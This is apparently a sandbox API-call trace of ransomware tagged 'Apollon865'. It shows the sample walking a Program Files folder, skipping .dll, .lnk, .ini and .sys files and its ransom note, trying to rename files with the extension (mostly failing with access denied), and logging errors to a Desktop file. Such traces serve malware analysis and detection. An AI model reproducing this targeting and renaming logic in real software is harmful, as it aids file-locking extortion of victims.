	[0076.491] lstrlenW (lpString=".sys") returned 4
	[0076.491] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".sys") returned 1
	[0076.491] lstrlenW (lpString="ipshrv.xml") returned 10
	[0076.491] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.Apollon865") returned 72
	[0076.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.492] GetLastError () returned 0x5
	[0076.492] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml MoveFileEx error 5\r\n") returned 90
	[0076.492] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml MoveFileEx error 5\r\n") returned 90
	[0076.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.492] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3148
	[0076.492] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.492] CloseHandle (hObject=0x100) returned 1
	[0076.492] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.492] CloseHandle (hObject=0x0) returned 0
	[0076.492] CloseHandle (hObject=0x0) returned 0
	[0076.492] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0076.492] lstrcmpiW (lpString1="ipsita.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.492] lstrcmpiW (lpString1="ipsita.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.493] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsita.xml" | out: lpString1="ipsita.xml") returned="ipsita.xml"
	[0076.493] lstrlenW (lpString="ipsita.xml") returned 10
	[0076.493] lstrlenW (lpString="Apollon865") returned 10
	[0076.493] lstrlenW (lpString=".dll") returned 4
	[0076.493] lstrcmpiW (lpString1="ipsita.xml", lpString2=".dll") returned 1
	[0076.493] lstrlenW (lpString=".lnk") returned 4
	[0076.493] lstrcmpiW (lpString1="ipsita.xml", lpString2=".lnk") returned 1
	[0076.493] lstrlenW (lpString=".ini") returned 4
	[0076.493] lstrcmpiW (lpString1="ipsita.xml", lpString2=".ini") returned 1
	[0076.493] lstrlenW (lpString=".sys") returned 4
	[0076.493] lstrcmpiW (lpString1="ipsita.xml", lpString2=".sys") returned 1
	[0076.493] lstrlenW (lpString="ipsita.xml") returned 10
	[0076.493] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.Apollon865") returned 72
	[0076.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.493] GetLastError () returned 0x5
	[0076.493] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml MoveFileEx error 5\r\n") returned 90
	[0076.493] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml MoveFileEx error 5\r\n") returned 90
	[0076.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.494] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x31a2
	[0076.494] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.494] CloseHandle (hObject=0x100) returned 1
	[0076.494] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.494] CloseHandle (hObject=0x0) returned 0
	[0076.494] CloseHandle (hObject=0x0) returned 0
	[0076.494] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0076.494] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.494] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.494] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsjpn.xml" | out: lpString1="ipsjpn.xml") returned="ipsjpn.xml"
	[0076.494] lstrlenW (lpString="ipsjpn.xml") returned 10
	[0076.494] lstrlenW (lpString="Apollon865") returned 10
	[0076.494] lstrlenW (lpString=".dll") returned 4
	[0076.494] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".dll") returned 1
	[0076.494] lstrlenW (lpString=".lnk") returned 4
	[0076.494] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".lnk") returned 1
	[0076.494] lstrlenW (lpString=".ini") returned 4
	[0076.495] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".ini") returned 1
	[0076.495] lstrlenW (lpString=".sys") returned 4
	[0076.495] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".sys") returned 1
	[0076.495] lstrlenW (lpString="ipsjpn.xml") returned 10
	[0076.495] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.Apollon865") returned 72
	[0076.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.495] GetLastError () returned 0x5
	[0076.495] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml MoveFileEx error 5\r\n") returned 90
	[0076.495] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml MoveFileEx error 5\r\n") returned 90
	[0076.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.495] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x31fc
	[0076.495] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.495] CloseHandle (hObject=0x100) returned 1
	[0076.496] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.496] CloseHandle (hObject=0x0) returned 0
	[0076.496] CloseHandle (hObject=0x0) returned 0
	[0076.496] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.496] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipskor.xml" | out: lpString1="ipskor.xml") returned="ipskor.xml"
	[0076.496] lstrlenW (lpString="ipskor.xml") returned 10
	[0076.496] lstrlenW (lpString="Apollon865") returned 10
	[0076.496] lstrlenW (lpString=".dll") returned 4
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2=".dll") returned 1
	[0076.496] lstrlenW (lpString=".lnk") returned 4
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2=".lnk") returned 1
	[0076.496] lstrlenW (lpString=".ini") returned 4
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2=".ini") returned 1
	[0076.496] lstrlenW (lpString=".sys") returned 4
	[0076.496] lstrcmpiW (lpString1="ipskor.xml", lpString2=".sys") returned 1
	[0076.496] lstrlenW (lpString="ipskor.xml") returned 10
	[0076.496] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.Apollon865") returned 72
	[0076.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.498] GetLastError () returned 0x5
	[0076.498] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml MoveFileEx error 5\r\n") returned 90
	[0076.498] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml MoveFileEx error 5\r\n") returned 90
	[0076.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.499] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3256
	[0076.500] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.500] CloseHandle (hObject=0x100) returned 1
	[0076.501] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.501] CloseHandle (hObject=0x0) returned 0
	[0076.501] CloseHandle (hObject=0x0) returned 0
	[0076.501] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.501] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="IpsMigrationPlugin.dll" | out: lpString1="IpsMigrationPlugin.dll") returned="IpsMigrationPlugin.dll"
	[0076.501] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22
	[0076.501] lstrlenW (lpString="Apollon865") returned 10
	[0076.501] lstrcmpiW (lpString1="Plugin.dll", lpString2="Apollon865") returned 1
	[0076.501] lstrlenW (lpString=".dll") returned 4
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".dll") returned 1
	[0076.501] lstrlenW (lpString=".lnk") returned 4
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".lnk") returned 1
	[0076.501] lstrlenW (lpString=".ini") returned 4
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".ini") returned 1
	[0076.501] lstrlenW (lpString=".sys") returned 4
	[0076.501] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2=".sys") returned 1
	[0076.501] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22
	[0076.501] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsnld.xml" | out: lpString1="ipsnld.xml") returned="ipsnld.xml"
	[0076.501] lstrlenW (lpString="ipsnld.xml") returned 10
	[0076.501] lstrlenW (lpString="Apollon865") returned 10
	[0076.501] lstrlenW (lpString=".dll") returned 4
	[0076.501] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".dll") returned 1
	[0076.501] lstrlenW (lpString=".lnk") returned 4
	[0076.501] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".lnk") returned 1
	[0076.501] lstrlenW (lpString=".ini") returned 4
	[0076.501] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".ini") returned 1
	[0076.502] lstrlenW (lpString=".sys") returned 4
	[0076.502] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".sys") returned 1
	[0076.502] lstrlenW (lpString="ipsnld.xml") returned 10
	[0076.502] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.Apollon865") returned 72
	[0076.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.502] GetLastError () returned 0x5
	[0076.502] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml MoveFileEx error 5\r\n") returned 90
	[0076.502] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml MoveFileEx error 5\r\n") returned 90
	[0076.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.502] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x32b0
	[0076.502] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.502] CloseHandle (hObject=0x100) returned 1
	[0076.502] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.503] CloseHandle (hObject=0x0) returned 0
	[0076.503] CloseHandle (hObject=0x0) returned 0
	[0076.503] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.503] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsnor.xml" | out: lpString1="ipsnor.xml") returned="ipsnor.xml"
	[0076.503] lstrlenW (lpString="ipsnor.xml") returned 10
	[0076.503] lstrlenW (lpString="Apollon865") returned 10
	[0076.503] lstrlenW (lpString=".dll") returned 4
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".dll") returned 1
	[0076.503] lstrlenW (lpString=".lnk") returned 4
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".lnk") returned 1
	[0076.503] lstrlenW (lpString=".ini") returned 4
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".ini") returned 1
	[0076.503] lstrlenW (lpString=".sys") returned 4
	[0076.503] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".sys") returned 1
	[0076.503] lstrlenW (lpString="ipsnor.xml") returned 10
	[0076.503] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.Apollon865") returned 72
	[0076.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.503] GetLastError () returned 0x5
	[0076.503] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml MoveFileEx error 5\r\n") returned 90
	[0076.503] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml MoveFileEx error 5\r\n") returned 90
	[0076.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.504] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x330a
	[0076.504] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.504] CloseHandle (hObject=0x100) returned 1
	[0076.504] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.504] CloseHandle (hObject=0x0) returned 0
	[0076.504] CloseHandle (hObject=0x0) returned 0
	[0076.504] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0076.504] lstrcmpiW (lpString1="ipsplk.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.504] lstrcmpiW (lpString1="ipsplk.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.504] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsplk.xml" | out: lpString1="ipsplk.xml") returned="ipsplk.xml"
	[0076.504] lstrlenW (lpString="ipsplk.xml") returned 10
	[0076.504] lstrlenW (lpString="Apollon865") returned 10
	[0076.504] lstrlenW (lpString=".dll") returned 4
	[0076.504] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".dll") returned 1
	[0076.504] lstrlenW (lpString=".lnk") returned 4
	[0076.504] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".lnk") returned 1
	[0076.505] lstrlenW (lpString=".ini") returned 4
	[0076.505] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".ini") returned 1
	[0076.505] lstrlenW (lpString=".sys") returned 4
	[0076.505] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".sys") returned 1
	[0076.505] lstrlenW (lpString="ipsplk.xml") returned 10
	[0076.505] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.Apollon865") returned 72
	[0076.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.506] GetLastError () returned 0x5
	[0076.506] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml MoveFileEx error 5\r\n") returned 90
	[0076.506] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml MoveFileEx error 5\r\n") returned 90
	[0076.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.506] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3364
	[0076.506] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.506] CloseHandle (hObject=0x100) returned 1
	[0076.506] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.506] CloseHandle (hObject=0x0) returned 0
	[0076.506] CloseHandle (hObject=0x0) returned 0
	[0076.506] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
	[0076.506] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.506] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.506] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="IpsPlugin.dll" | out: lpString1="IpsPlugin.dll") returned="IpsPlugin.dll"
	[0076.507] lstrlenW (lpString="IpsPlugin.dll") returned 13
	[0076.507] lstrlenW (lpString="Apollon865") returned 10
	[0076.507] lstrcmpiW (lpString1="Plugin.dll", lpString2="Apollon865") returned 1
	[0076.507] lstrlenW (lpString=".dll") returned 4
	[0076.507] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".dll") returned 1
	[0076.507] lstrlenW (lpString=".lnk") returned 4
	[0076.507] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".lnk") returned 1
	[0076.507] lstrlenW (lpString=".ini") returned 4
	[0076.507] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".ini") returned 1
	[0076.507] lstrlenW (lpString=".sys") returned 4
	[0076.507] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2=".sys") returned 1
	[0076.507] lstrlenW (lpString="IpsPlugin.dll") returned 13
	[0076.507] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsptb.xml" | out: lpString1="ipsptb.xml") returned="ipsptb.xml"
	[0076.507] lstrlenW (lpString="ipsptb.xml") returned 10
	[0076.507] lstrlenW (lpString="Apollon865") returned 10
	[0076.507] lstrlenW (lpString=".dll") returned 4
	[0076.507] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".dll") returned 1
